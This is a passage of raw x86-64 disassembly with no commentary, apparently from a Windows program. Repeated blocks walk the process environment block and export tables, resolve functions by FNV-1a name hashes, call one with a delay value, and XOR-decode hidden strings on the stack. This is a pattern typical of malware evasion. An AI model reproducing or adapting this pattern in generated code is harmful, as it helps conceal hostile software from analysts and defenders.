jl 0x1400119e0
cmp r8d, 0x3c
jge 0x140011b20
movsxd rax, r8d
lea r9, [rbp - 0x29]
add r9, rax
nop
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3c
jl 0x140011af0
lea rcx, [rbp - 0x29]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140011bb4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140011bb4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140011baf
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140011b90
cmp edx, 0x2fa62ca8
je 0x140011bb9
test r9d, r9d
jne 0x140011b70
mov rax, qword [rax]
jmp 0x140011b40
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x140090620]
movups xmmword [rbp - 0x29], xmm0
movups xmm1, xmmword [0x140090630]
movups xmmword [rbp - 0x19], xmm1
movups xmm0, xmmword [0x140090640]
movups xmmword [rbp - 9], xmm0
movsd xmm0, qword [0x140090650]
movsd qword [rbp + 7], xmm0
mov eax, dword [0x140090658]
mov dword [rbp + 0xf], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140011c94
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140011c94
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140011c8f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140011c70
cmp edx, 0x491e0a9c
je 0x140011c99
test r9d, r9d
jne 0x140011c50
mov rax, qword [rax]
jmp 0x140011c20
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x140011df5
movdqa xmm5, xmmword [0x140090aa0]
movdqa xmm4, xmmword [0x140090b20]
movdqa xmm6, xmmword [0x140090ac0]
movdqa xmm0, xmmword [str.33333333333333339999999999999999]
movdqa xmmword [rbp + 0x27], xmm0
lea rcx, [rbp - 0x29]
mov edx, dword [rbp + 0x27]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090ae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090ae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140011cf0
cmp r8d, 0x3c
jge 0x140011e30
movsxd rax, r8d
lea r9, [rbp - 0x29]
add r9, rax
nop
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3c
jl 0x140011e00
lea rcx, [rbp - 0x29]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140011ec4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140011ec4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140011ebf
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140011ea0
cmp edx, 0x2fa62ca8
je 0x140011ec9
test r9d, r9d
jne 0x140011e80
mov rax, qword [rax]
jmp 0x140011e50
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x14008fad8]
movups xmmword [rbp - 0x29], xmm0
movups xmm1, xmmword [0x14008fae8]
movups xmmword [rbp - 0x19], xmm1
movups xmm0, xmmword [0x14008faf8]
movups xmmword [rbp - 9], xmm0
movsd xmm0, qword [0x14008fb08]
movsd qword [rbp + 7], xmm0
mov eax, dword [0x14008fb10]
mov dword [rbp + 0xf], eax
movzx eax, byte [0x14008fb14]
mov byte [rbp + 0x13], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140011fb4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140011fb4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140011faf
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140011f90
cmp edx, 0x491e0a9c
je 0x140011fb9
test r9d, r9d
jne 0x140011f70
mov rax, qword [rax]
jmp 0x140011f40
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x140012115
movdqa xmm5, xmmword [0x140090aa0]
movdqa xmm4, xmmword [0x140090b20]
movdqa xmm6, xmmword [0x140090ac0]
movdqa xmm0, xmmword [str.33333333333333339999999999999999]
movdqa xmmword [rbp + 0x27], xmm0
lea rcx, [rbp - 0x29]
mov edx, dword [rbp + 0x27]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090ae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090ae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140012010
cmp r8d, 0x3d
jge 0x140012150
movsxd rax, r8d
lea r9, [rbp - 0x29]
add r9, rax
nop
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3d
jl 0x140012120
lea rcx, [rbp - 0x29]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400121e4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400121e4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400121df
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400121c0
cmp edx, 0x2fa62ca8
je 0x1400121e9
test r9d, r9d
jne 0x1400121a0
mov rax, qword [rax]
jmp 0x140012170
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x14008fb90]
movups xmmword [rbp - 0x29], xmm0
movups xmm1, xmmword [0x14008fba0]
movups xmmword [rbp - 0x19], xmm1
movups xmm0, xmmword [0x14008fbb0]
movups xmmword [rbp - 9], xmm0
movsd xmm0, qword [0x14008fbc0]
movsd qword [rbp + 7], xmm0
mov eax, dword [0x14008fbc8]
mov dword [rbp + 0xf], eax
movzx eax, byte [0x14008fbcc]
mov byte [rbp + 0x13], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400122d4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400122d4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400122cf
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400122b0
cmp edx, 0x491e0a9c
je 0x1400122d9
test r9d, r9d
jne 0x140012290
mov rax, qword [rax]
jmp 0x140012260
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x140012435
movdqa xmm5, xmmword [0x140090aa0]
movdqa xmm4, xmmword [0x140090b20]
movdqa xmm6, xmmword [0x140090ac0]
movdqa xmm0, xmmword [str.33333333333333339999999999999999]
movdqa xmmword [rbp + 0x27], xmm0
lea rcx, [rbp - 0x29]
mov edx, dword [rbp + 0x27]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090ae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090ae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140012330
cmp r8d, 0x3d
jge 0x140012470
movsxd rax, r8d
lea r9, [rbp - 0x29]
add r9, rax
nop
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3d
jl 0x140012440
lea rcx, [rbp - 0x29]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140012504
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140012504
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400124ff
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400124e0
cmp edx, 0x2fa62ca8
je 0x140012509
test r9d, r9d
jne 0x1400124c0
mov rax, qword [rax]
jmp 0x140012490
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x14008fbf0]
movups xmmword [rbp - 0x29], xmm0
movups xmm1, xmmword [0x14008fc00]
movups xmmword [rbp - 0x19], xmm1
movups xmm0, xmmword [0x14008fc10]
movups xmmword [rbp - 9], xmm0
movsd xmm0, qword [0x14008fc20]
movsd qword [rbp + 7], xmm0
mov eax, dword [0x14008fc28]
mov dword [rbp + 0xf], eax
movzx eax, word [0x14008fc2c]
mov word [rbp + 0x13], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400125f4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400125f4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400125ef
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400125d0
cmp edx, 0x491e0a9c
je 0x1400125f9
test r9d, r9d
jne 0x1400125b0
mov rax, qword [rax]
jmp 0x140012580
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x140012755
movdqa xmm5, xmmword [0x140090aa0]
movdqa xmm4, xmmword [0x140090b20]
movdqa xmm6, xmmword [0x140090ac0]
movdqa xmm0, xmmword [str.33333333333333339999999999999999]
movdqa xmmword [rbp + 0x27], xmm0
lea rcx, [rbp - 0x29]
mov edx, dword [rbp + 0x27]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090ae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090ae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140012650
cmp r8d, 0x3e
jge 0x140012790
movsxd rax, r8d
lea r9, [rbp - 0x29]
add r9, rax
nop
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3e
jl 0x140012760
lea rcx, [rbp - 0x29]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140012824
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140012824
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001281f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140012800
cmp edx, 0x2fa62ca8
je 0x140012829
test r9d, r9d
jne 0x1400127e0
mov rax, qword [rax]
jmp 0x1400127b0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x14008ff18]
movups xmmword [rbp - 0x29], xmm0
movups xmm1, xmmword [0x14008ff28]
movups xmmword [rbp - 0x19], xmm1
movups xmm0, xmmword [0x14008ff38]
movups xmmword [rbp - 9], xmm0
movsd xmm0, qword [0x14008ff48]
movsd qword [rbp + 7], xmm0
mov eax, dword [0x14008ff50]
mov dword [rbp + 0xf], eax
movzx eax, byte [0x14008ff54]
mov byte [rbp + 0x13], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140012914
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140012914
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001290f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400128f0
cmp edx, 0x491e0a9c
je 0x140012919
test r9d, r9d
jne 0x1400128d0
mov rax, qword [rax]
jmp 0x1400128a0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x140012a75
movdqa xmm5, xmmword [0x140090aa0]
movdqa xmm4, xmmword [0x140090b20]
movdqa xmm6, xmmword [0x140090ac0]
movdqa xmm0, xmmword [str.33333333333333339999999999999999]
movdqa xmmword [rbp + 0x27], xmm0
lea rcx, [rbp - 0x29]
mov edx, dword [rbp + 0x27]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090ae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090ae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x140012970
cmp r8d, 0x3d
jge 0x140012ab0
movsxd rax, r8d
lea r9, [rbp - 0x29]
add r9, rax
nop
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3d
jl 0x140012a80
lea rcx, [rbp - 0x29]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140012b44
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140012b44
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140012b3f
mov rax, qword [rax]
jmp 0x140012ad0